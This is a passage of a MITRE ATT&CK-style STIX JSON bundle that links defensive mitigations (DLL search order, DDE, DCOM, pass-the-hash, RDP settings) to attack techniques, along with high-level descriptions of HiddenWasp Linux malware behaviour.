                    "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
                    "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/",
                    "source_name": "Intezer HiddenWasp Map 2019"
                }
            ],
            "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) creates a user account as a means to provide initial persistence to the compromised machine.(Citation: Intezer HiddenWasp Map 2019)",
            "relationship_type": "uses",
            "id": "relationship--08d9bd35-4d07-42f0-b462-c9c8b5a9dbab",
            "type": "relationship",
            "modified": "2020-02-11T16:20:25.117Z",
            "created": "2019-06-24T13:13:57.243Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e",
            "relationship_type": "mitigates",
            "description": "Similarly, ensuring that the <code>tty_tickets</code> setting is enabled will prevent this leakage across tty sessions.",
            "id": "relationship--d036b6e1-08ad-4a3f-9b57-5e6780eb743c",
            "type": "relationship",
            "modified": "2020-02-05T20:10:18.897Z",
            "created": "2019-06-24T13:19:33.236Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e",
            "relationship_type": "mitigates",
            "description": "Setting the <code>timestamp_timeout</code> to 0 will require the user to input their password every time <code>sudo</code> is executed.",
            "id": "relationship--02814b0e-0387-456e-9bac-ed30f419676f",
            "type": "relationship",
            "modified": "2020-02-05T20:10:18.918Z",
            "created": "2019-06-24T13:19:33.243Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586",
            "relationship_type": "mitigates",
            "description": "Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses.(Citation: Powersploit)",
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            "external_references": [
                {
                    "url": "https://github.com/mattifestation/PowerSploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Powersploit"
                }
            ],
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            "relationship_type": "mitigates",
            "description": "Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. <code>%SYSTEMROOT%</code>)to be used before local directory DLLs (e.g. a user's home directory)\n\nThe Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode</code> (Citation: Microsoft DLL Search)",
            "id": "relationship--fb988651-2bb4-4169-be8e-14ab9c8ef483",
            "external_references": [
                {
                    "url": "http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx",
                    "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.",
                    "source_name": "Microsoft DLL Preloading"
                },
                {
                    "url": "http://msdn.microsoft.com/en-US/library/ms682586",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.",
                    "source_name": "Microsoft DLL Search"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-19T15:09:22.388Z",
            "created": "2019-06-24T13:35:27.794Z"
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            "relationship_type": "mitigates",
            "description": "Adversaries may use new DLLs to execute this technique. Identify and block potentially malicious software executed through search order hijacking by using application whitelisting solutions capable of blocking DLLs loaded by legitimate software.",
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            "type": "relationship",
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            "relationship_type": "mitigates",
            "description": "Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique. Use modern browsers with security features turned on.",
            "id": "relationship--47e2fc5c-3dab-411d-a402-0052d8e725d3",
            "type": "relationship",
            "modified": "2020-03-29T23:48:15.210Z",
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            "description": "For malicious code served up through ads, adblockers can help prevent that code from executing in the first place.\n\nScript blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.",
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            "modified": "2020-03-29T23:48:15.213Z",
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            "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463",
            "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
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            "description": "Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist.(Citation: Windows Blogs Microsoft Edge Sandbox)(Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist for these types of systems.(Citation: Ars Technica Pwn2Own 2017 VM Escape)",
            "id": "relationship--56f490de-51e8-47c4-9eae-ecdd1a55e6ef",
            "external_references": [
                {
                    "source_name": "Windows Blogs Microsoft Edge Sandbox",
                    "description": "Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.",
                    "url": "https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/"
                },
                {
                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
                    "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/"
                },
                {
                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape",
                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
                    "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/"
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            "description": "Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.",
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                {
                    "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/",
                    "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.",
                    "source_name": "TechNet Moving Beyond EMET"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Control-flow_integrity",
                    "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.",
                    "source_name": "Wikipedia Control Flow Integrity"
                }
            ],
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            "relationship_type": "mitigates",
            "description": "Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)",
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                {
                    "url": "https://technet.microsoft.com/library/security/4053440",
                    "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
                    "source_name": "Microsoft DDE Advisory Nov 2017"
                },
                {
                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/",
                    "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
                    "source_name": "BleepingComputer DDE Disabled in Word Dec 2017"
                },
                {
                    "url": "https://gist.github.com/wdormann/732bb88d9b5dd5a66c9f1e1498f31a1b",
                    "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.",
                    "source_name": "GitHub Disable DDEAUTO Oct 2017"
                },
                {
                    "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021",
                    "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.",
                    "source_name": "Microsoft ADV170021 Dec 2017"
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            "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
            "relationship_type": "mitigates",
            "description": "On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)",
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                {
                    "url": "https://docs.microsoft.com/windows/threat-protection/windows-defender-exploit-guard/enable-attack-surface-reduction",
                    "description": "Brower, N. & D'Souza-Wiltshire, I. (2017, November 9). Enable Attack surface reduction. Retrieved February 3, 2018.",
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                },
                {
                    "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee",
                    "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
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            ],
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            "modified": "2020-03-09T13:00:19.479Z",
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            "description": "Ensure Protected View is enabled.(Citation: Microsoft Protected View)",
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                    "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653",
                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
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            "relationship_type": "mitigates",
            "description": "Configure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise.",
            "id": "relationship--11767ed3-e938-4d0f-97dd-2a190e55f8db",
            "external_references": [
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                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/",
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                    "source_name": "Microsoft Block Office Macros"
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            "relationship_type": "mitigates",
            "description": "Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.",
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            "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c",
            "relationship_type": "mitigates",
            "description": "Use least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system.",
            "id": "relationship--4d50a045-d85d-481f-ac7d-672065f1e348",
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            "description": "Segment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.",
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            "description": "Block .scr files from being executed from non-standard locations.",
            "id": "relationship--07e8c7b6-d959-4c29-99bf-96d8b434f27f",
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            "target_ref": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae",
            "relationship_type": "mitigates",
            "description": "Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)",
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                    "description": "Microsoft. (n.d.). Customizing the Desktop. Retrieved December 5, 2017.",
                    "source_name": "TechNet Screensaver GP"
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            ],
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            "relationship_type": "mitigates",
            "description": "Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.",
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                    "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.",
                    "source_name": "Wikipedia Control Flow Integrity"
                }
            ],
            "type": "relationship",
            "modified": "2021-04-22T20:23:01.744Z",
            "created": "2019-06-24T13:56:03.621Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82",
            "relationship_type": "mitigates",
            "description": "Minimize available services to only those that are necessary.",
            "id": "relationship--0694f0b0-c7c1-43c6-8024-17122fda2bc4",
            "type": "relationship",
            "modified": "2021-04-22T20:23:01.755Z",
            "created": "2019-06-24T13:56:03.622Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463",
            "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82",
            "relationship_type": "mitigates",
            "description": "Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. Risks of additional exploits and weaknesses in these systems may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)",
            "id": "relationship--9492b31f-9275-4ee5-84bd-040cf653a6db",
            "external_references": [
                {
                    "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/",
                    "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.",
                    "source_name": "Ars Technica Pwn2Own 2017 VM Escape"
                }
            ],
            "type": "relationship",
            "modified": "2021-04-22T20:23:01.758Z",
            "created": "2019-06-24T13:56:03.635Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "external_references": [
                {
                    "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
                    "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/",
                    "source_name": "Intezer HiddenWasp Map 2019"
                }
            ],
            "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses port 61061 to communicate with the C2 server.(Citation: Intezer HiddenWasp Map 2019)",
            "relationship_type": "uses",
            "id": "relationship--97f3d72d-f697-43b9-a597-9accf60121a2",
            "type": "relationship",
            "modified": "2019-07-06T22:20:35.294Z",
            "created": "2019-06-24T13:59:46.339Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
                    "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/",
                    "source_name": "Intezer HiddenWasp Map 2019"
                }
            ],
            "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) downloads a tar compressed archive from a download server to the system.(Citation: Intezer HiddenWasp Map 2019)",
            "relationship_type": "uses",
            "id": "relationship--bf66a7c4-7d72-4769-a96a-83d3363fa7a9",
            "type": "relationship",
            "modified": "2019-07-06T22:20:35.298Z",
            "created": "2019-06-24T13:59:46.372Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794",
            "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
            "external_references": [
                {
                    "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
                    "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/",
                    "source_name": "Intezer HiddenWasp Map 2019"
                }
            ],
            "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses a rootkit to hook and implement functions on the system.(Citation: Intezer HiddenWasp Map 2019)",
            "relationship_type": "uses",
            "id": "relationship--8a8e30e6-c226-4739-87de-bd98c104d211",
            "type": "relationship",
            "modified": "2019-07-06T22:20:35.357Z",
            "created": "2019-06-24T14:05:00.929Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7",
            "relationship_type": "mitigates",
            "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Classes\\\\AppID\\\\{AppID_GUID}</code> associated with the process-wide security of individual COM applications.(Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in <code>HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Ole</code> associated with system-wide security defaults for all COM applications that do no set their own process-wide security.(Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)",
            "id": "relationship--9fab5f0b-d10e-45e3-ab0f-56cadb7ccae9",
            "external_references": [
                {
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx",
                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
                    "source_name": "Microsoft Process Wide Com Keys"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx",
                    "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
                    "source_name": "Microsoft System Wide Com Keys"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1",
                    "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
                    "source_name": "Microsoft COM ACL"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-30T13:36:10.388Z",
            "created": "2019-06-24T14:19:22.426Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c",
            "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7",
            "relationship_type": "mitigates",
            "description": "Enable Windows firewall, which prevents DCOM instantiation by default.",
            "id": "relationship--47257f80-df2c-4090-9c2b-6ef23eccdbf3",
            "type": "relationship",
            "modified": "2020-03-30T13:36:10.386Z",
            "created": "2019-06-24T14:19:22.440Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463",
            "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7",
            "relationship_type": "mitigates",
            "description": "Ensure all COM alerts and Protected View are enabled.(Citation: Microsoft Protected View)",
            "id": "relationship--e9c5a8f9-571e-4c08-88bb-6baca6dad6ea",
            "external_references": [
                {
                    "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653",
                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
                    "source_name": "Microsoft Protected View"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-30T13:36:10.416Z",
            "created": "2019-06-24T14:19:22.453Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7",
            "relationship_type": "mitigates",
            "description": "Consider disabling DCOM through Dcomcnfg.exe.(Citation: Microsoft Disable DCOM)",
            "id": "relationship--055bd398-635f-45e2-94d2-711af316bed7",
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/library/cc771387.aspx",
                    "description": "Microsoft. (n.d.). Enable or Disable DCOM. Retrieved November 22, 2017.",
                    "source_name": "Microsoft Disable DCOM"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-30T13:36:10.414Z",
            "created": "2019-06-24T14:19:22.455Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--fc774af4-533b-4724-96d2-ac1026316794",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "external_references": [
                {
                    "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
                    "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/",
                    "source_name": "Intezer HiddenWasp Map 2019"
                }
            ],
            "description": "[HiddenWasp](https://attack.mitre.org/software/S0394) uses an RC4-like algorithm with an already computed PRGA generated key-stream for network communication.(Citation: Intezer HiddenWasp Map 2019)",
            "relationship_type": "uses",
            "id": "relationship--603d13cd-f6f7-4321-99db-3d3326878de4",
            "type": "relationship",
            "modified": "2019-07-06T22:20:35.368Z",
            "created": "2019-06-24T14:20:50.504Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334",
            "relationship_type": "mitigates",
            "description": "Restrict write access to logon scripts to specific administrators.",
            "id": "relationship--d32467b1-8d30-4134-ac6d-541cb623f8c2",
            "type": "relationship",
            "modified": "2020-08-03T16:47:37.403Z",
            "created": "2019-06-24T14:22:08.049Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808",
            "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff",
            "relationship_type": "mitigates",
            "description": "Enable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons.(Citation: GitHub IAD Secure Host Baseline UAC Filtering)",
            "id": "relationship--4af1337b-478f-43e1-b0b7-07ab53c22a64",
            "external_references": [
                {
                    "description": "NSA IAD. (2017, January 24). MS Security Guide. Retrieved December 18, 2017.",
                    "source_name": "GitHub IAD Secure Host Baseline UAC Filtering",
                    "url": "https://github.com/iadgov/Secure-Host-Baseline/blob/master/Windows/Group%20Policy%20Templates/en-US/SecGuide.adml"
                }
            ],
            "type": "relationship",
            "modified": "2020-01-30T19:55:39.119Z",
            "created": "2019-06-24T14:27:52.161Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff",
            "relationship_type": "mitigates",
            "description": "Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems.",
            "id": "relationship--159d35c3-673d-4c42-be26-d53ab11e277e",
            "type": "relationship",
            "modified": "2020-01-30T19:55:39.131Z",
            "created": "2019-06-24T14:27:52.179Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
            "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff",
            "relationship_type": "mitigates",
            "description": "Ensure that built-in and created local administrator accounts have complex, unique passwords.",
            "id": "relationship--14fa80e7-9e59-403c-8e1b-ea3145438b48",
            "type": "relationship",
            "modified": "2020-01-30T19:55:39.156Z",
            "created": "2019-06-24T14:27:52.180Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c",
            "relationship_type": "mitigates",
            "description": "Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)",
            "id": "relationship--72acaaab-448e-412e-9967-c119c350cdc3",
            "external_references": [
                {
                    "url": "https://adsecurity.org/?p=556",
                    "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                    "source_name": "ADSecurity AD Kerberos Attacks"
                }
            ],
            "type": "relationship",
            "modified": "2020-01-30T19:57:16.541Z",
            "created": "2019-06-24T15:49:23.522Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
            "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c",
            "relationship_type": "mitigates",
            "description": "Ensure that local administrator accounts have complex, unique passwords.",
            "id": "relationship--44dd2863-7841-43e3-960f-8f6d46709156",
            "type": "relationship",
            "modified": "2020-01-30T19:57:16.540Z",
            "created": "2019-06-24T15:49:23.841Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
            "relationship_type": "mitigates",
            "description": "Consider removing the local Administrators group from the list of groups allowed to log in through RDP.",
            "id": "relationship--48925883-c396-49a2-8b1b-2d7220959e2c",
            "type": "relationship",
            "modified": "2020-02-11T18:24:04.785Z",
            "created": "2019-06-24T15:55:14.055Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3",
            "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
            "relationship_type": "mitigates",
            "description": "Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server. (Citation: Windows RDP Sessions)",
            "id": "relationship--65e07f9e-91cd-4b91-8707-83b4ffdb29bd",
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx",
                    "description": "Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.",
                    "source_name": "Windows RDP Sessions"
                }
            ],
            "type": "relationship",
            "modified": "2020-02-11T18:24:04.819Z",
            "created": "2019-06-24T16:00:49.986Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c",
